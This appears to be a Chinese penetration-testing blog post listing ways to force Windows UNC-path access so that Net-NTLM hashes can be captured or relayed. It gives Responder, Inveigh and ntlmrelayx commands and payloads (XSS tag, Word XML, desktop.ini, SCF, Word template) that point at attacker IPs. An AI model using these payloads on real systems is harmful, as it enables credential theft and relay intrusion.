1. 前言

Net-NTLM-hash劫持的时候一般都会用到unc路径,这篇文章是对于可以出发unc路径访问方式的总结。通过对unc路径的访问可以触发ntlm认证。

补充:触发条件

1、如果是域内的机器(包括相互有信任关系的两个域内的机器之间)都可以用UNC路径直接访问共享文件

2、设有两台机器(A,B两机)都已经加入域(或分别属于连个相互信任的域中),如果A机用域用户帐户登录,B机处于本地登陆,那么从A机上可以UNC路径访问B机的共享文件夹,但是B机不能用unc路径访问A机的共享文件夹,这是因为,A机处于域用户登录状态,他可以从DC上获得B机的地址和服务票据(戴有炜《AD配置指南》P195)。但是B机没有在域中,所以无法到DC上查找A机的地址以及获得服务票据。所以B机不能通过UNC路径访问A机。

3、如果两机(A、B机IP段相同)都没有加入域,不管他本来就是工作组状态的两个,还是虽然是域成员,但用了本地帐号登录。这两台机器上没有相同的帐号和密码(比如都有一个hyj帐号,密码都是111),那么他们之间就无法UNC访问共享文件夹。

4、总上所述可以看出来,如果想让A机UNC路径访问B机,有两个途径:

一个是A通过向DC发出查询地址及请求服务票据的方法(A,B都加入域,并且至少A要处于域帐号登录状态),让DC在中间做引荐。

另一种就是在两个机器中一定要存在相同的本地用户帐号和密码。这样A就可以通过在局域网中向指定的主机名发包(UNC路径中就含有机器名,比如//server1/director)的方法找到配对的机器,然后得到这台机器的许可。

所以只要具备上面这两个条件,就可以用UNC路径访问。

如果这样看来,2情况中A如果不能通过DC找到B那么如果AB中都有相同的本地用户帐号和密码,那么他们之间也可以UNC路径访问。

2. 触发方式

涉及到的工具:

  1. impacket
  2. responder
  3. inveigh

2.1 利用协议触发

2.1.1 http

通过responder劫持net-ntlm并结合impacket中的ntlmrelays工具进行relay攻击,如下图执行了whoami命令:

2.1.2 LLMNR和NetBIOS协议

2.1.2.1 通过responder或者inveigh工具

这两个工具利用的是LLMNR和NetBIOS欺骗。首先我们需要知道Windows系统名称解析顺序为:

  1. 本地hosts文件(%windir%\System32\drivers\etc\hosts)

  2. DNS缓存/DNS服务器

  3. 链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS) 当用户解析一个无法被解析的主机名的时候,就会走LLMNR协议或者NBT-NS协议。这时候我们就可以做手脚来让用户认为我们就是它想访问的目标,进而跟我们进行NTLM认证,这样子我们就能够获取到其NET-NTLM。
    hash。

Responder:
python编写,下载地址:
https://github.com/lgandx/Responder
Inveigh:
powershell编写,下载地址:
https://github.com/Kevin-Robertson/Inveigh

Inveigh

管理员权限打开攻击机器的powershell依次输入以下命令:
. .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y
如果有执行策略限制再加一条Set-ExecutionPolicy Bypass -Scope Process

在被攻击机器上的运行框输入一个任意的主机名并点击确定:

这时候返回攻击机,发现已经抓取到NET-NTLM hash

如果对方访问的是正确的主机,则显示的是:

它与域控进行NTLM协商,并没有经过我们的攻击机,也没有走LLMNR与NETBIOS协议。

responder

攻击机执行responder -I eth0 -f,I后面跟的是当前的网卡名字。被攻击机上执行的操作与Inveigh一样,得到结果如下,依旧抓到了目标用户的NET-NTML hash。

2.2 通过超链接触发


当用户点击超链接的时候就会触发unc路径访问。

2.3 利用xss触发

在htlm文件中嵌入恶意js代码,如果对方浏览了此html文件,则触发unc路径访问:

<script src="\\172.16.100.1\xss">

但这种情况适用于IE和edge,其他浏览器不允许从http域跨到file域。

2.4 利用xml触发

构造恶意的xml文件,如果用户使用word打开,则会触发unc路径访问。

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?mso-application progid="Word.Document"?>
<?xml-stylesheet type="text/xsl" href="\\10.0.0.5\bad.xsl" ?>
<?xml version="1.0" encoding="utf-8" ?>
<Courses><Course Number="MS-2524"><Title>XML Web Services Programming</Title></Course><Course Number="MS-2124"><Title>C# Programming</Title></Course><Course Number="NET2"><Title>.NET 2.0 Early Adapter</Title></Course>
</Courses>

2.5 pdf

利用三好学生的脚本对pdf文件进行修改,当pdf被打开的时候会触发unc访问。
脚本下载地址:https://github.com/3gstudent/Worse-PDF


用户必须使用PDF阅读器打开,如果使用IE或是Chrome打开PDF文件,并不会执行。

2.6 desktop.ini

每个文件夹底下都有个文件desktop.ini来指定文件夹图标之类的。默认不可见。去掉隐藏受保护的操作系统文件就可以看到。用户打开含有恶意desktop.ini的文件夹的时候就会触发unc路径访问。

[.ShellClassInfo]
IconResource=\\172.16.250.7\ini\1.ioc
[ViewState]
Mode=
Vid=
FolderType=Generic

经测试,更改桌面上的desktop.ini然后用户访问自己的用户文件夹时会触发unc路径访问。

2.7 scf文件

只要一个文件底下含有scf后缀的文件,由于scf文件包含了IconFile属性,所以Explore.exe会尝试获取文件的图标。而IconFile是支持UNC路径的。,用户打开含有恶意scf文件的文件夹时就会触发unc路径访问。

[Shell]
Command=2
IconFile=\\172.16.250.3\scf\test.ico
[Taskbar]
Command=ToggleDesktop

利用失败

2.8 xxe/ssrf

在xxe里面加载外部文件的时候,如果路径支持unc路径的话,是能拿到net-ntlm hash的。
在ssrf里面如果支持file协议,并且file协议能加载远程资源的话,是能拿到net-ntlm hash的。

在xxe和ssrf测试中一般要测试这两个方面

  1. 支不支持UNC路径,比如\ip\x或者file://ip/x
  2. 支不支持HTTP(这个一般支持),是不是需要信任域,信任域是怎么判断的

2.9 outlook

将outlook配置成支持html(默认不支持),那么如果他人发送过来的邮件中插入html并含有恶意的xss代码,收件人打开邮件后就会触发unc路径访问。

2.10 word

  1. 创建一个带模版的word文档,然后将其用360压缩打开

  2. 进入word_rels文件夹然后打开settings文件

    修改target属性,并保存

    打开word文档,即刻触发unc路径访问。

3. 参考文章

(原创)UNC路径的访问条件
域渗透学习笔记三:攻击NTLM
Forced Authentication
发起NTLM 请求

总结:触发unc路径访问的方式相关推荐

  1. unc 隐藏共享文件夹_(原创)UNC路径的访问条件

    本人自己总结了一点UNC 路径访问的经验,分为域内和非域内两种情况. 1.如果是域内的机器(包括相互有信任关系的两个域内的机器之间)都可以用UNC路径直接访问共享文件 2.设有两台机器(A,B两机)都 ...

  2. iis对UNC路径的访问被拒绝

    问题描述: 本机调试写文件到指定UNC路径是可以的,(写文件到指定UNC路径https://blog.csdn.net/Jjb125/article/details/89386558)将程序发布到II ...

  3. 显示unc路径服务器根目录,路径解释:绝对、相对、UNC 和 URL

    您每天都通过路径浏览至数据和工具箱.本主题将详细讨论以下方面内容:路径.定义不同类型的路径以及 ArcGIS 对路径的管理方式.路径和路径名路径 路径是由斜线分割的目录名的列表,后面连接目录名或文件名 ...

  4. 显示unc路径服务器根目录,IIS虚拟目录与UNC路径权限初探

    最近在一个项目中涉及到了虚拟目录与UNC路径的问题,总结出来分享给大家. 问题描述 某客户定制化项目(官网),有一个图片上传的功能.客户的Web机器有10台,通过F5负载均衡分摊请求. 假设这10台机 ...

  5. 深入了解iSCSI的2种多路径访问机制

    经过数年的发展后,iSCSI已成为IP SAN的代名词,大幅促进了存储局域网络(SAN)的普及应用.但相较于FC SAN,iSCSI虽然有建置价格低的优点,但也被认为存在着许多不足,包括易受***.可 ...

  6. 【Nginx】location 指向某一个文件 / 指定路径访问某一文件

    前言 nginx 1.15.11(下面的代码在此版本测试通过) win10 phpstudy 8.1.1.3 location 指向某一个文件 / 指定路径访问某一文件 location指向某一个文件 ...

  7. linux php执行ci框架,PHP CI框架学习之路径访问

    CI是一个PHP写的框架,使用它写网站非常方便,但是也会也有一些纠结的问题,比如说其中文件的路径访问. CI严格贯彻MVC思想,因此基于此思想的文件访问也比较严格,controllers控制器是所有v ...

  8. kubernetes使用traefik作为ingress(相同域名不同路径访问不同服务)Middleware的StripPrefix进行实现

    1.环境 kubernetes:v1.20.1 traefik:2.4.8 链接:middleware的使用(stripprefix) 2.安装 kubeadm安装k8s helm安装traefik ...

  9. UNC路径转本地路径

    UNC应用(Universal Naming Convention)通用命名规则,比如网络访问文件UNC路径就是 \\servername\sharename\directory\filename比如 ...

最新文章

  1. DevExpress的图形按钮菜单栏控件WindowsUIButtonPanel的布局、使用和设置按钮的点击事件
  2. ubuntu16.04安装ROS
  3. XXX管理平台系统——架构
  4. 无线技术之WLAN八个常见问题解答(收藏)
  5. Linux加密框架 crypto算法模板 以及HMAC算法模板实例
  6. stm32c语言设计以及注释,13个基于STM32的经典项目设计实例,全套资料~-嵌入式系统-与非网...
  7. java成员初始化顺序_Java成员初始化顺序
  8. 从统计代码来谈JS加载的优化
  9. i2c时序图的详细讲解_外脚手架及外架防护棚搭设详细讲解,附做法图
  10. Linq原理相关(隐式类型var、匿名类型、实例化类、集合初始化)
  11. 【转】彻底理解安卓里的ldpi、mdpi、hdpi、xhdpi、xxhdpi文件夹含义
  12. easyui(基础布局)
  13. 为什么手机发射功率这么小而基站却能收到信号?
  14. JAVA微博文章内容抓取_关于微博数据抓取的实践
  15. 最好的6个Go语言Web框架
  16. 机器学习与数据挖掘复习笔记
  17. 云计算机是什么技术,什么是云计算技术?
  18. Julia学习04——函数
  19. Qt 样式表之QSS
  20. java读取pdf签名_Java 获取PDF中的数字签名信息

热门文章

  1. Could not find a storyboard named ‘Main‘
  2. 知识管理系统中的在线编辑,让共享协作更简便
  3. 简单一文带你读懂Java变量的作用和三要素
  4. 光子计数器的线性测量和修正
  5. zigbee单播丢包测试(CC2530,ZSTACK)
  6. 弹弹堂之 弹坑技术
  7. Keyboard与KeyboardView --- 自定义键盘
  8. NOKIA 刷机 6680
  9. linux设置anaconda环境变量,在Linux中永久设置Anaconda环境变量的方法
  10. finetune踩坑